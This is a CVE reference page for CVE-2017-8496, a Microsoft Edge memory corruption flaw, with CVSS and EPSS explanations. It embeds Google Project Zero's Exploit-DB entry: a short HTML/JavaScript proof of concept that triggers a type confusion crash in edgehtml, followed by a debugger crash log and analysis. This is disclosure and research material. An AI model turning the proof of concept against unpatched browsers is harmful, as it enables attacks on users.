CVE-2017-8496 : Detail

CVE-2017-8496

7.5
/
High
Overflow
85.04%V3
Network
2017-06-14
23h00 +00:00
2017-08-11
13h57 +00:00
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CVE Descriptions

Microsoft Edge in Windows 10 1607 and Windows Server 2016 allows an attacker to execute arbitrary code in the context of the current user when Microsoft Edge improperly accesses objects in memory, aka "Microsoft Edge Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-8497.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 42246

Publication date : 2017-06-22 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1254 There is a type confusion vulnerability in Microsoft Edge. The vulnerability has been confirmed on Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198) and Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393. PoC ========================================== --> <!-- saved from url=(0014)about:internet --> <script> function go() { window.addEventListener("DOMAttrModified", undefined); m.style.cssText = "clip-path: url(#foo);"; } </script> <body onload=go()> <meter id="m" value="a" frame="below"> <!-- ========================================= Preliminary analysis: The crash happens inside CAttrArray::PrivateFindInl. Rcx (this) pointer is supposed to point to a CAttrArray but it actually pointa to a CAttribute. CAttrArray::PrivateFindInl is only going to perform reads and its return value is going to be discarded by the calling function (CAttrArray::SetParsed). However the actual type confusion happens further down the stack (possibly inside CssParser::RecordProperty) and if CAttrArray::PrivateFindInl returns false (can be controlled by an attacker), then CAttrArray::Set is going to also be called with the wrong type, which might lead to more serious consequences. Crash log (Note: crash log is obtained from an older Edge version as the symbols for the up-to date version are no longer available). ========================================= (1b24.f18): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. edgehtml!CAttrArray::PrivateFindInl+0xd6: 00007ffa`64acf836 41f644d00380 test byte ptr [r8+rdx*8+3],80h ds:00000003`0005ffbe=?? 0:009> k # Child-SP RetAddr Call Site 00 000000ab`02efb3f0 00007ffa`64c9ee99 edgehtml!CAttrArray::PrivateFindInl+0xd6 01 000000ab`02efb420 00007ffa`64bc795b edgehtml!CAttrArray::SetParsed+0x49 02 000000ab`02efb490 00007ffa`64bc96dc edgehtml!CssParser::RecordProperty+0x24b 03 000000ab`02efb500 00007ffa`64bc83dc edgehtml!CssParser::HandleSingleDeclaration+0x21c 04 000000ab`02efb580 00007ffa`64b5d2cb edgehtml!CssParser::HandleDeclaration+0x9c 05 000000ab`02efb5b0 00007ffa`64b5debe edgehtml!CssParser::Write+0x3b 06 000000ab`02efb5f0 00007ffa`64a1c60c edgehtml!ProcessCSSText+0x112 07 000000ab`02efb670 00007ffa`64a357e3 edgehtml!CStyle::SetCssText+0xbc 08 000000ab`02efb6b0 00007ffa`64d22235 edgehtml!CFastDOM::CCSSStyleDeclaration::Trampoline_Set_cssText+0x77 09 000000ab`02efb700 00007ffa`63886d07 edgehtml!CFastDOM::CCSSStyleDeclaration::Profiler_Set_cssText+0x25 0a 000000ab`02efb730 00007ffa`63962640 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x177 0b 000000ab`02efb810 00007ffa`63a02209 chakra!Js::LeaveScriptObject<1,1,0>::LeaveScriptObject<1,1,0>+0x180 0c 000000ab`02efb860 00007ffa`6392475e chakra!Js::JavascriptOperators::CallSetter+0xa9 0d 000000ab`02efb900 00007ffa`639ef932 chakra!Js::JavascriptOperators::SetProperty_Internal<0>+0x4de 0e 000000ab`02efb9c0 00007ffa`639ef86f chakra!Js::JavascriptOperators::OP_SetProperty+0xa2 0f 000000ab`02efba10 00007ffa`63986ddb chakra!Js::JavascriptOperators::PatchPutValueWithThisPtrNoFastPath+0x9f 10 000000ab`02efba90 00007ffa`63929a70 chakra!Js::ProfilingHelpers::ProfiledStFld<0>+0x1cb 11 000000ab`02efbb60 00007ffa`6392e800 chakra!Js::InterpreterStackFrame::OP_ProfiledSetProperty<Js::OpLayoutT_ElementCP<Js::LayoutSizePolicy<0> > const >+0x70 12 000000ab`02efbbb0 00007ffa`6392c852 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x340 13 000000ab`02efbc40 00007ffa`63930920 chakra!Js::InterpreterStackFrame::Process+0x142 14 000000ab`02efbca0 00007ffa`63932065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0 15 000000ab`02efc000 00000219`30f30fb2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55 16 000000ab`02efc050 00007ffa`63a17273 0x00000219`30f30fb2 17 000000ab`02efc080 00007ffa`63925763 chakra!amd64_CallFunction+0x93 18 000000ab`02efc0d0 00007ffa`63928260 chakra!Js::JavascriptFunction::CallFunction<1>+0x83 19 000000ab`02efc130 00007ffa`6392ccfd chakra!Js::InterpreterStackFrame::OP_CallI<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<0> > > >+0x110 1a 000000ab`02efc180 00007ffa`6392c8b7 chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d 1b 000000ab`02efc210 00007ffa`63930920 chakra!Js::InterpreterStackFrame::Process+0x1a7 1c 000000ab`02efc270 00007ffa`63932065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0 1d 000000ab`02efc5c0 00000219`30f30fba chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55 1e 000000ab`02efc610 00007ffa`63a17273 0x00000219`30f30fba 1f 000000ab`02efc640 00007ffa`63925763 chakra!amd64_CallFunction+0x93 20 000000ab`02efc690 00007ffa`6395a4bc chakra!Js::JavascriptFunction::CallFunction<1>+0x83 21 000000ab`02efc6f0 00007ffa`63959a86 chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x104 22 000000ab`02efc7e0 00007ffa`639fc359 chakra!Js::JavascriptFunction::CallRootFunction+0x4a 23 000000ab`02efc850 00007ffa`6395ff21 chakra!ScriptSite::CallRootFunction+0xb5 24 000000ab`02efc8f0 00007ffa`6395badc chakra!ScriptSite::Execute+0x131 25 000000ab`02efc980 00007ffa`64be08dd chakra!ScriptEngineBase::Execute+0xcc 26 000000ab`02efca20 00007ffa`64be0828 edgehtml!CJScript9Holder::ExecuteCallbackDirect+0x3d 27 000000ab`02efca70 00007ffa`64b1a8c7 edgehtml!CJScript9Holder::ExecuteCallback+0x18 28 000000ab`02efcab0 00007ffa`64b1a6b7 edgehtml!CListenerDispatch::InvokeVar+0x1fb 29 000000ab`02efcc30 00007ffa`64bdf22a edgehtml!CListenerDispatch::Invoke+0xdb 2a 000000ab`02efccb0 00007ffa`64cb40d2 edgehtml!CEventMgr::_InvokeListeners+0x2ca 2b 000000ab`02efce10 00007ffa`64b30ac5 edgehtml!CEventMgr::_InvokeListenersOnWindow+0x66 2c 000000ab`02efce40 00007ffa`64b30553 edgehtml!CEventMgr::Dispatch+0x405 2d 000000ab`02efd110 00007ffa`64c0d8da edgehtml!CEventMgr::DispatchEvent+0x73 2e 000000ab`02efd160 00007ffa`64c4ba12 edgehtml!COmWindowProxy::Fire_onload+0x14e 2f 000000ab`02efd270 00007ffa`64c4a6a6 edgehtml!CMarkup::OnLoadStatusDone+0x376 30 000000ab`02efd330 00007ffa`64c4a21f edgehtml!CMarkup::OnLoadStatus+0x112 31 000000ab`02efd360 00007ffa`64bd5b43 edgehtml!CProgSink::DoUpdate+0x3af 32 000000ab`02efd7f0 00007ffa`64bd7300 edgehtml!GlobalWndOnMethodCall+0x273 33 000000ab`02efd8f0 00007ffa`7f751c24 edgehtml!GlobalWndProc+0x130 34 000000ab`02efd9b0 00007ffa`7f75156c user32!UserCallWinProcCheckWow+0x274 35 000000ab`02efdb10 00007ffa`75cecdf1 user32!DispatchMessageWorker+0x1ac 36 000000ab`02efdb90 00007ffa`75cec3b1 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1 37 000000ab`02effde0 00007ffa`768f9596 EdgeContent!LCIETab_ThreadProc+0x2c1 38 000000ab`02efff00 00007ffa`81538364 iertutil!SettingStore::CSettingsBroker::SetValue+0x246 39 000000ab`02efff30 00007ffa`81b170d1 KERNEL32!BaseThreadInitThunk+0x14 3a 000000ab`02efff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21 0:009> r rax=0000000000003ffd rbx=0000000000000002 rcx=0000021128e64cf0 rdx=000000000000bff7 rsi=0000000000003ffd rdi=0000000000000000 rip=00007ffa64acf836 rsp=000000ab02efb3f0 rbp=0000000000000002 r8=0000000300000003 r9=00000000800114a4 r10=0000000000000000 r11=0000000000007ffa r12=0000021932328fe0 r13=0000021127f66f01 r14=0000021128e64c88 r15=0000000000000000 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 edgehtml!CAttrArray::PrivateFindInl+0xd6: 00007ffa`64acf836 41f644d00380 test byte ptr [r8+rdx*8+3],80h ds:00000003`0005ffbe=?? ========================================= -->

Products Mentioned

Configuraton 0

Microsoft>>Edge >> Version -

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_server_2016 >> Version -

References

http://www.securityfocus.com/bid/98880
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/42246/
Tags : exploit, x_refsource_EXPLOIT-DB